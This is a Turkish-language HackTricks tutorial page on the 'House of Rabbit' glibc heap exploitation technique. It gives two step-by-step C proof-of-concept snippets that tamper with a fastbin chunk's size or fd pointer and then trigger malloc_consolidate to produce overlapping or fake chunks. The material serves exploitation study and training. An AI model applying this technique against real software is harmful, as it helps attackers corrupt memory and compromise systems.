hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

97 lines
5 KiB
Markdown
Raw Normal View History

# Tavşan Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### Gereksinimler
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.
### Hedefler
1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.
## Saldırı Adımları
### POC 1: Hızlı bin parça boyutunu değiştirme
**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.
* **Adım 1: Parçalar Tahsis Etme**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
* **Adım 2: Parçaları Serbest Bırakın**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
* **Adım 3: Parça Boyutunu Değiştirme**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
* **Adım 4: `malloc_consolidate`'yi Tetikleyin**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur.
Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüye izin verir.
### POC 2: `fd` işaretçisini değiştirme
**Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
* **Adım 1: Parçaları Ayırma**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
* **Adım 2: Sahte blok oluştur**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
* **Adım 3: `chunk1`'i serbest bırakın**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Açıklama**: `chunk1`'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.
* **Adım 4: `chunk1`'in `fd`'sini değiştirin**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.
* **Adım 5: `malloc_consolidate`'i Tetikle**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir.
Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.
### Özet
**House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.